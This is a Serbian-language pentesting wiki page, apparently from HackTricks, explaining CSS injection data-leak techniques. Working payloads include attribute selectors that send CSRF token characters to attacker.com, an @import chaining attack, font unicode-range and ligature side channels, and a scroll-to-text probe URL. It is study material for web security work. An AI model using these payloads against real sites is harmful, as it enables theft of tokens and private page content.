CSS Injection

Reading time: 21 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks

CSS Injection

Attribute Selector

CSS selektori su napravljeni da odgovaraju vrednostima atributa name i value elementa input. Ako atribut vrednosti elementa za unos počinje sa određenim karakterom, učitava se unapred definisani spoljašnji resurs:

css
input[name="csrf"][value^="a"] {
background-image: url(https://attacker.com/exfil/a);
}
input[name="csrf"][value^="b"] {
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name="csrf"][value^="9"] {
background-image: url(https://attacker.com/exfil/9);
}

Međutim, ovaj pristup se suočava sa ograničenjem kada se radi o skrivenim ulaznim elementima (type="hidden") jer skriveni elementi ne učitavaju pozadine.

Zaobilaženje za skrivene elemente

Da biste zaobišli ovo ograničenje, možete ciljati sledeći element brata koristeći ~ general sibling combinator. CSS pravilo se zatim primenjuje na sve braće koja slede skriveni ulazni element, uzrokujući učitavanje pozadinske slike:

css
input[name="csrf"][value^="csrF"] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}

Praktičan primer iskorišćavanja ove tehnike detaljno je opisan u datom kodu. Možete ga pogledati ovde.

Preduslovi za CSS Injekciju

Da bi tehnika CSS injekcije bila efikasna, moraju biti ispunjeni određeni uslovi:

  1. Dužina Payload-a: Vektor CSS injekcije mora podržavati dovoljno duge payload-ove da bi se prilagodili kreiranim selektorima.
  2. Ponovna Evaluacija CSS-a: Trebalo bi da imate mogućnost da uokvirite stranicu, što je neophodno za pokretanje ponovne evaluacije CSS-a sa novim generisanim payload-ima.
  3. Spoljni Resursi: Tehnika pretpostavlja mogućnost korišćenja slika hostovanih na spoljnim serverima. Ovo može biti ograničeno politikom bezbednosti sadržaja (CSP) sajta.

Slepi Selektor Atributa

Kao što je objašnjeno u ovom postu, moguće je kombinovati selektore :has i :not da bi se identifikovao sadržaj čak i iz slepih elemenata. Ovo je veoma korisno kada nemate pojma šta se nalazi unutar web stranice koja učitava CSS injekciju.
Takođe je moguće koristiti te selektore za ekstrakciju informacija iz nekoliko blokova istog tipa kao u:

html
<style>
html:has(input[name^="m"]):not(input[name="mytoken"]) {
background: url(/m);
}
</style>
<input name="mytoken" value="1337" />
<input name="myname" value="gareth" />

Kombinovanjem ovoga sa sledećom @import tehnikom, moguće je exfiltrirati mnogo informacija koristeći CSS injekciju sa slepih stranica uz blind-css-exfiltration.

@import

Prethodna tehnika ima neke nedostatke, proverite preduslove. Morate biti u mogućnosti da pošaljete više linkova žrtvi, ili morate biti u mogućnosti da iframe-ujete stranicu ranjivu na CSS injekciju.

Međutim, postoji još jedna pametna tehnika koja koristi CSS @import da poboljša kvalitet tehnike.

Ovo je prvi put prikazano od strane Pepe Vila i funkcioniše ovako:

Umesto da učitavamo istu stranicu iznova i iznova sa desetinama različitih payload-a svaki put (kao u prethodnoj), učitaćemo stranicu samo jednom i samo sa importom na server napadača (ovo je payload koji treba poslati žrtvi):

css
@import url("//attacker.com:5001/start?");
  1. Uvoz će primiti neki CSS skript od napadača i pregledač će ga učitati.
  2. Prvi deo CSS skripta koji će napadač poslati je još jedan @import na server napadača ponovo.
  3. Server napadača neće još odgovoriti na ovaj zahtev, jer želimo da otkrijemo neke karaktere i zatim odgovorimo na ovaj uvoz sa payload-om da otkrijemo sledeće.
  4. Drugi i veći deo payload-a će biti payload za curenje atribut selektora
  5. Ovo će poslati serveru napadača prvi karakter tajne i poslednji.
  6. Kada server napadača primi prvi i poslednji karakter tajne, on će odgovoriti na uvoz zatražen u koraku 2.
  7. Odgovor će biti tačno isti kao u koracima 2, 3 i 4, ali će ovaj put pokušati da pronađe drugi karakter tajne i zatim pretposlednji.

Napadač će slediti tu petlju dok ne uspe potpuno da otkrije tajnu.

Možete pronaći originalni kod Pepe Vile za eksploataciju ovde ili možete pronaći skoro isti kod ali komentarisani ovde.

note

Skript će pokušati da otkrije 2 karaktera svaki put (od početka i od kraja) jer atribut selektor omogućava da se urade stvari kao što su:

/* value^=  da se poklapa sa početkom vrednosti*/
input[value^="0"] {
  --s0: url(http://localhost:5001/leak?pre=0);
}

/* value$=  da se poklapa sa krajem vrednosti*/
input[value$="f"] {
  --e0: url(http://localhost:5001/leak?post=f);
}

Ovo omogućava skriptu da brže otkrije tajnu.

warning

Ponekad skript ne detektuje ispravno da je otkriveni prefiks + sufiks već potpuna zastava i nastaviće napred (u prefiksu) i unazad (u sufiksu) i u nekom trenutku će se zaglaviti.
Ne brinite, samo proverite izlaz jer možete videti zastavu tamo.

Ostali selektori

Ostali načini za pristup delovima DOM-a sa CSS selektorima:

  • .class-to-search:nth-child(2): Ovo će pretražiti drugi element sa klasom "class-to-search" u DOM-u.
  • :empty selektor: Koristi se na primer u ovoj analizi:
css
[role^="img"][aria-label="1"]:empty {
background-image: url("YOUR_SERVER_URL?1");
}

Reference: CSS zasnovan napad: Zloupotreba unicode-range @font-face, Greška-zasnovan XS-Search PoC od @terjanq

Sveukupna namera je da koristite prilagođenu font sa kontrolisanog krajnjeg tačke i osigurate da tekst (u ovom slučaju, 'A') bude prikazan sa ovim fontom samo ako navedeni resurs (favicon.ico) ne može biti učitan.

html
<!DOCTYPE html>
<html>
<head>
<style>
@font-face {
font-family: poc;
src: url(http://attacker.com/?leak);
unicode-range: U+0041;
}

#poc0 {
font-family: "poc";
}
</style>
</head>
<body>
<object id="poc0" data="http://192.168.0.1/favicon.ico">A</object>
</body>
</html>
  1. Korišćenje prilagođenih fontova:
  • Prilagođeni font se definiše koristeći @font-face pravilo unutar <style> taga u <head> sekciji.
  • Font se naziva poc i preuzima se sa spoljnog krajnjeg tačke (http://attacker.com/?leak).
  • unicode-range svojstvo je postavljeno na U+0041, cilja specifični Unicode karakter 'A'.
  1. Element objekta sa rezervnim tekstom:
  • <object> element sa id="poc0" je kreiran u <body> sekciji. Ovaj element pokušava da učita resurs sa http://192.168.0.1/favicon.ico.
  • font-family za ovaj element je postavljen na 'poc', kao što je definisano u <style> sekciji.
  • Ako resurs (favicon.ico) ne uspe da se učita, rezervni sadržaj (slovo 'A') unutar <object> taga se prikazuje.
  • Rezervni sadržaj ('A') će biti prikazan koristeći prilagođeni font poc ako spoljašnji resurs ne može da se učita.

Stilizovanje Scroll-to-Text Fragmenta

:target pseudo-klasa se koristi za selektovanje elementa koji je ciljan od strane URL fragmenta, kao što je navedeno u CSS Selectors Level 4 specification. Važno je razumeti da ::target-text ne odgovara nijednom elementu osim ako tekst nije eksplicitno ciljan fragmentom.

Bezbednosna zabrinutost se javlja kada napadači koriste Scroll-to-text fragment funkciju, omogućavajući im da potvrde prisustvo specifičnog teksta na veb stranici učitavanjem resursa sa svog servera putem HTML injekcije. Metoda uključuje injektovanje CSS pravila poput ovog:

css
:target::before {
content: url(target.png);
}

U takvim scenarijima, ako je tekst "Administrator" prisutan na stranici, resurs target.png se zahteva sa servera, što ukazuje na prisustvo teksta. Primer ovog napada može se izvršiti putem posebno kreirane URL adrese koja ugrađuje injektovani CSS zajedno sa fragmentom Scroll-to-text:

http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator

Ovde, napad manipuliše HTML injekcijom kako bi prenio CSS kod, ciljajući na specifičan tekst "Administrator" kroz Scroll-to-text fragment (#:~:text=Administrator). Ako se tekst pronađe, navedeni resurs se učitava, nenamerno signalizirajući svoju prisutnost napadaču.

Za ublažavanje, sledeće tačke treba imati na umu:

  1. Ograničeno STTF podudaranje: Scroll-to-text Fragment (STTF) je dizajniran da se podudara samo sa rečima ili rečenicama, čime se ograničava njegova sposobnost da otkrije proizvoljne tajne ili tokene.
  2. Ograničenje na kontekste najvišeg nivoa pretraživanja: STTF funkcioniše isključivo u kontekstima najvišeg nivoa pretraživanja i ne radi unutar iframe-ova, čineći svaki pokušaj eksploatacije uočljivijim za korisnika.
  3. Potrebna aktivacija korisnika: STTF zahteva gest aktivacije korisnika da bi funkcionisao, što znači da su eksploatacije moguće samo kroz navigacije koje inicira korisnik. Ovaj zahtev značajno smanjuje rizik od automatizovanih napada bez interakcije korisnika. Ipak, autor blog posta ukazuje na specifične uslove i zaobilaženja (npr. socijalni inženjering, interakcija sa prevalentnim ekstenzijama pretraživača) koja bi mogla olakšati automatizaciju napada.

Svest o ovim mehanizmima i potencijalnim ranjivostima je ključna za održavanje bezbednosti veba i zaštitu od ovakvih eksploatativnih taktika.

Za više informacija proverite izvorni izveštaj: https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/

Možete proveriti eksploit koristeći ovu tehniku za CTF ovde.

@font-face / unicode-range

Možete odrediti spoljašnje fontove za specifične unicode vrednosti koje će biti prikupljene samo ako su te unicode vrednosti prisutne na stranici. Na primer:

html
<style>
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?A); /* fetched */
unicode-range: U+0041;
}
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?B); /* fetched too */
unicode-range: U+0042;
}
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?C); /* not fetched */
unicode-range: U+0043;
}
#sensitive-information {
font-family: poc;
}
</style>

<p id="sensitive-information">AB</p>
htm

When you access this page, Chrome and Firefox fetch "?A" and "?B" because text node of sensitive-information contains "A" and "B" characters. But Chrome and Firefox do not fetch "?C" because it does not contain "C". This means that we have been able to read "A" and "B".

Ekstrakcija teksta iz čvora (I): ligature

Reference: Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację

Tehnika koja je opisana uključuje ekstrakciju teksta iz čvora iskorišćavanjem font ligatura i praćenjem promena u širini. Proces uključuje nekoliko koraka:

  1. Kreiranje prilagođenih fontova:
  • SVG fontovi se kreiraju sa glifovima koji imaju atribut horiz-adv-x, koji postavlja veliku širinu za glif koji predstavlja sekvencu od dva karaktera.
  • Primer SVG glifa: <glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>, gde "XY" označava sekvencu od dva karaktera.
  • Ovi fontovi se zatim konvertuju u woff format koristeći fontforge.
  1. Detekcija promena u širini:
  • CSS se koristi da se osigura da tekst ne prelazi u novi red (white-space: nowrap) i da se prilagodi stil trake za pomeranje.
  • Pojava horizontalne trake za pomeranje, stilizovane na poseban način, deluje kao indikator (oracle) da je određena ligatura, a samim tim i određena sekvenca karaktera, prisutna u tekstu.
  • Uključeni CSS:
css
body {
white-space: nowrap;
}
body::-webkit-scrollbar {
background: blue;
}
body::-webkit-scrollbar:horizontal {
background: url(http://attacker.com/?leak);
}
  1. Proces eksploatacije:
  • Korak 1: Fontovi se kreiraju za parove karaktera sa značajnom širinom.
  • Korak 2: Koristi se trik sa trakom za pomeranje da se detektuje kada je veliki glif (ligatura za par karaktera) prikazan, što ukazuje na prisustvo sekvence karaktera.
  • Korak 3: Nakon detekcije ligature, generišu se novi glifovi koji predstavljaju sekvence od tri karaktera, uključujući detektovani par i dodajući prethodni ili sledeći karakter.
  • Korak 4: Detekcija tri-karakterne ligature se vrši.
  • Korak 5: Proces se ponavlja, postepeno otkrivajući ceo tekst.
  1. Optimizacija:
  • Trenutna metoda inicijalizacije koristeći <meta refresh=... nije optimalna.
  • Efikasniji pristup mogao bi uključivati CSS @import trik, poboljšavajući performanse eksploatacije.

Ekstrakcija teksta iz čvora (II): curenje charset-a sa podrazumevanim fontom (ne zahteva spoljne resurse)

Reference: PoC using Comic Sans by @Cgvwzq & @Terjanq

Ovaj trik je objavljen u ovoj Slackers thread. Charset korišćen u tekst čvoru može biti otkriven koristeći podrazumevane fontove instalirane u pretraživaču: nisu potrebni spoljašnji - ili prilagođeni - fontovi.

Koncept se vrti oko korišćenja animacije za postepeno širenje širine div-a, omogućavajući jednom karakteru da pređe iz 'sufiksa' dela teksta u 'prefiks' deo. Ovaj proces efikasno deli tekst na dva dela:

  1. Prefiks: Početni red.
  2. Sufiks: Sledeći redovi.

Faze prelaska karaktera bi se pojavile na sledeći način:

C
ADB

CA
DB

CAD
B

CADB

Tokom ovog prelaska, koristi se unicode-range trik da se identifikuje svaki novi karakter dok se pridružuje prefiksu. To se postiže prebacivanjem fonta na Comic Sans, koji je znatno viši od podrazumevanog fonta, što izaziva pojavu vertikalne trake za pomeranje. Pojava ove trake za pomeranje indirektno otkriva prisustvo novog karaktera u prefiksu.

Iako ova metoda omogućava detekciju jedinstvenih karaktera dok se pojavljuju, ne specificira koji karakter se ponavlja, samo da je do ponavljanja došlo.

note

U suštini, unicode-range se koristi za detekciju karaktera, ali pošto ne želimo da učitamo spoljašnji font, moramo pronaći drugi način.
Kada je karakter pronađen, on dobija unapred instalirani Comic Sans font, koji čini karakter većim i pokreće traku za pomeranje koja će otkriti pronađeni karakter.

Check the code extracted from the PoC:

css
/* comic sans is high (lol) and causes a vertical overflow */
@font-face {
font-family: has_A;
src: local("Comic Sans MS");
unicode-range: U+41;
font-style: monospace;
}
@font-face {
font-family: has_B;
src: local("Comic Sans MS");
unicode-range: U+42;
font-style: monospace;
}
@font-face {
font-family: has_C;
src: local("Comic Sans MS");
unicode-range: U+43;
font-style: monospace;
}
@font-face {
font-family: has_D;
src: local("Comic Sans MS");
unicode-range: U+44;
font-style: monospace;
}
@font-face {
font-family: has_E;
src: local("Comic Sans MS");
unicode-range: U+45;
font-style: monospace;
}
@font-face {
font-family: has_F;
src: local("Comic Sans MS");
unicode-range: U+46;
font-style: monospace;
}
@font-face {
font-family: has_G;
src: local("Comic Sans MS");
unicode-range: U+47;
font-style: monospace;
}
@font-face {
font-family: has_H;
src: local("Comic Sans MS");
unicode-range: U+48;
font-style: monospace;
}
@font-face {
font-family: has_I;
src: local("Comic Sans MS");
unicode-range: U+49;
font-style: monospace;
}
@font-face {
font-family: has_J;
src: local("Comic Sans MS");
unicode-range: U+4a;
font-style: monospace;
}
@font-face {
font-family: has_K;
src: local("Comic Sans MS");
unicode-range: U+4b;
font-style: monospace;
}
@font-face {
font-family: has_L;
src: local("Comic Sans MS");
unicode-range: U+4c;
font-style: monospace;
}
@font-face {
font-family: has_M;
src: local("Comic Sans MS");
unicode-range: U+4d;
font-style: monospace;
}
@font-face {
font-family: has_N;
src: local("Comic Sans MS");
unicode-range: U+4e;
font-style: monospace;
}
@font-face {
font-family: has_O;
src: local("Comic Sans MS");
unicode-range: U+4f;
font-style: monospace;
}
@font-face {
font-family: has_P;
src: local("Comic Sans MS");
unicode-range: U+50;
font-style: monospace;
}
@font-face {
font-family: has_Q;
src: local("Comic Sans MS");
unicode-range: U+51;
font-style: monospace;
}
@font-face {
font-family: has_R;
src: local("Comic Sans MS");
unicode-range: U+52;
font-style: monospace;
}
@font-face {
font-family: has_S;
src: local("Comic Sans MS");
unicode-range: U+53;
font-style: monospace;
}
@font-face {
font-family: has_T;
src: local("Comic Sans MS");
unicode-range: U+54;
font-style: monospace;
}
@font-face {
font-family: has_U;
src: local("Comic Sans MS");
unicode-range: U+55;
font-style: monospace;
}
@font-face {
font-family: has_V;
src: local("Comic Sans MS");
unicode-range: U+56;
font-style: monospace;
}
@font-face {
font-family: has_W;
src: local("Comic Sans MS");
unicode-range: U+57;
font-style: monospace;
}
@font-face {
font-family: has_X;
src: local("Comic Sans MS");
unicode-range: U+58;
font-style: monospace;
}
@font-face {
font-family: has_Y;
src: local("Comic Sans MS");
unicode-range: U+59;
font-style: monospace;
}
@font-face {
font-family: has_Z;
src: local("Comic Sans MS");
unicode-range: U+5a;
font-style: monospace;
}
@font-face {
font-family: has_0;
src: local("Comic Sans MS");
unicode-range: U+30;
font-style: monospace;
}
@font-face {
font-family: has_1;
src: local("Comic Sans MS");
unicode-range: U+31;
font-style: monospace;
}
@font-face {
font-family: has_2;
src: local("Comic Sans MS");
unicode-range: U+32;
font-style: monospace;
}
@font-face {
font-family: has_3;
src: local("Comic Sans MS");
unicode-range: U+33;
font-style: monospace;
}
@font-face {
font-family: has_4;
src: local("Comic Sans MS");
unicode-range: U+34;
font-style: monospace;
}
@font-face {
font-family: has_5;
src: local("Comic Sans MS");
unicode-range: U+35;
font-style: monospace;
}
@font-face {
font-family: has_6;
src: local("Comic Sans MS");
unicode-range: U+36;
font-style: monospace;
}
@font-face {
font-family: has_7;
src: local("Comic Sans MS");
unicode-range: U+37;
font-style: monospace;
}
@font-face {
font-family: has_8;
src: local("Comic Sans MS");
unicode-range: U+38;
font-style: monospace;
}
@font-face {
font-family: has_9;
src: local("Comic Sans MS");
unicode-range: U+39;
font-style: monospace;
}
@font-face {
font-family: rest;
src: local("Courier New");
font-style: monospace;
unicode-range: U+0-10FFFF;
}

div.leak {
overflow-y: auto; /* leak channel */
overflow-x: hidden; /* remove false positives */
height: 40px; /* comic sans capitals exceed this height */
font-size: 0px; /* make suffix invisible */
letter-spacing: 0px; /* separation */
word-break: break-all; /* small width split words in lines */
font-family: rest; /* default */
background: grey; /* default */
width: 0px; /* initial value */
animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */
animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */
}

div.leak::first-line {
font-size: 30px; /* prefix is visible in first line */
text-transform: uppercase; /* only capital letters leak */
}

/* iterate over all chars */
@keyframes trychar {
0% {
font-family: rest;
} /* delay for width change */
5% {
font-family: has_A, rest;
--leak: url(?a);
}
6% {
font-family: rest;
}
10% {
font-family: has_B, rest;
--leak: url(?b);
}
11% {
font-family: rest;
}
15% {
font-family: has_C, rest;
--leak: url(?c);
}
16% {
font-family: rest;
}
20% {
font-family: has_D, rest;
--leak: url(?d);
}
21% {
font-family: rest;
}
25% {
font-family: has_E, rest;
--leak: url(?e);
}
26% {
font-family: rest;
}
30% {
font-family: has_F, rest;
--leak: url(?f);
}
31% {
font-family: rest;
}
35% {
font-family: has_G, rest;
--leak: url(?g);
}
36% {
font-family: rest;
}
40% {
font-family: has_H, rest;
--leak: url(?h);
}
41% {
font-family: rest;
}
45% {
font-family: has_I, rest;
--leak: url(?i);
}
46% {
font-family: rest;
}
50% {
font-family: has_J, rest;
--leak: url(?j);
}
51% {
font-family: rest;
}
55% {
font-family: has_K, rest;
--leak: url(?k);
}
56% {
font-family: rest;
}
60% {
font-family: has_L, rest;
--leak: url(?l);
}
61% {
font-family: rest;
}
65% {
font-family: has_M, rest;
--leak: url(?m);
}
66% {
font-family: rest;
}
70% {
font-family: has_N, rest;
--leak: url(?n);
}
71% {
font-family: rest;
}
75% {
font-family: has_O, rest;
--leak: url(?o);
}
76% {
font-family: rest;
}
80% {
font-family: has_P, rest;
--leak: url(?p);
}
81% {
font-family: rest;
}
85% {
font-family: has_Q, rest;
--leak: url(?q);
}
86% {
font-family: rest;
}
90% {
font-family: has_R, rest;
--leak: url(?r);
}
91% {
font-family: rest;
}
95% {
font-family: has_S, rest;
--leak: url(?s);
}
96% {
font-family: rest;
}
}

/* increase width char by char, i.e. add new char to prefix */
@keyframes loop {
0% {
width: 0px;
}
1% {
width: 20px;
}
2% {
width: 40px;
}
3% {
width: 60px;
}
4% {
width: 80px;
}
4% {
width: 100px;
}
5% {
width: 120px;
}
6% {
width: 140px;
}
7% {
width: 0px;
}
}

div::-webkit-scrollbar {
background: blue;
}

/* side-channel */
div::-webkit-scrollbar:vertical {
background: blue var(--leak);
}

Ekstrakcija tekstualnog čvora (III): curenje charset-a sa podrazumevanjem fonta skrivajući elemente (ne zahteva spoljne resurse)

Reference: Ovo je pomenuto kao neuspešno rešenje u ovom izveštaju

Ovaj slučaj je veoma sličan prethodnom, međutim, u ovom slučaju cilj pravljenja specifičnih karaktera većim od drugih je da se sakrije nešto poput dugmeta koje ne bi trebalo da bude pritisnuto od strane bota ili slike koja se neće učitati. Tako bismo mogli meriti akciju (ili nedostatak akcije) i znati da li je specifičan karakter prisutan unutar teksta.

Ekstrakcija tekstualnog čvora (III): curenje charset-a putem vremenskog keširanja (ne zahteva spoljne resurse)

Reference: Ovo je pomenuto kao neuspešno rešenje u ovom izveštaju

U ovom slučaju, mogli bismo pokušati da otkrijemo da li je karakter u tekstu učitavanjem lažnog fonta sa iste lokacije:

css
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}

Ako postoji podudaranje, font će biti učitan sa /static/bootstrap.min.css?q=1. Iako se neće učitati uspešno, pregledač bi trebao da ga kešira, i čak i ako nema keša, postoji 304 not modified mehanizam, tako da bi odgovor trebao biti brži od drugih stvari.

Međutim, ako razlika u vremenu između keširanog odgovora i onog koji nije keširan nije dovoljno velika, ovo neće biti korisno. Na primer, autor je pomenuo: Međutim, nakon testiranja, otkrio sam da je prvi problem to što se brzina ne razlikuje mnogo, a drugi problem je što bot koristi disk-cache-size=1 flag, što je zaista promišljeno.

Ekstrakcija tekstualnog čvora (III): curenje charset-a vremenskim učitavanjem stotina lokalnih "fontova" (ne zahtevajući spoljne resurse)

Reference: Ovo se pominje kao neuspešno rešenje u ovom izveštaju

U ovom slučaju možete naznačiti CSS da učita stotine lažnih fontova sa iste domene kada dođe do podudaranja. Na ovaj način možete meriti vreme koje je potrebno i otkriti da li se karakter pojavljuje ili ne sa nečim poput:

css
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1), url(/static/bootstrap.min.css?q=2),
.... url(/static/bootstrap.min.css?q=500);
unicode-range: U+0041;
}

I kod bota izgleda ovako:

python
browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)

Dakle, ako se font ne poklapa, očekuje se da će vreme odgovora prilikom posete botu biti otprilike 30 sekundi. Međutim, ako dođe do poklapanja fonta, biće poslato više zahteva za preuzimanje fonta, što će uzrokovati kontinuiranu aktivnost mreže. Kao rezultat toga, biće potrebno više vremena da se zadovolji uslov zaustavljanja i primi odgovor. Stoga se vreme odgovora može koristiti kao indikator za određivanje da li postoji poklapanje fonta.

References

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks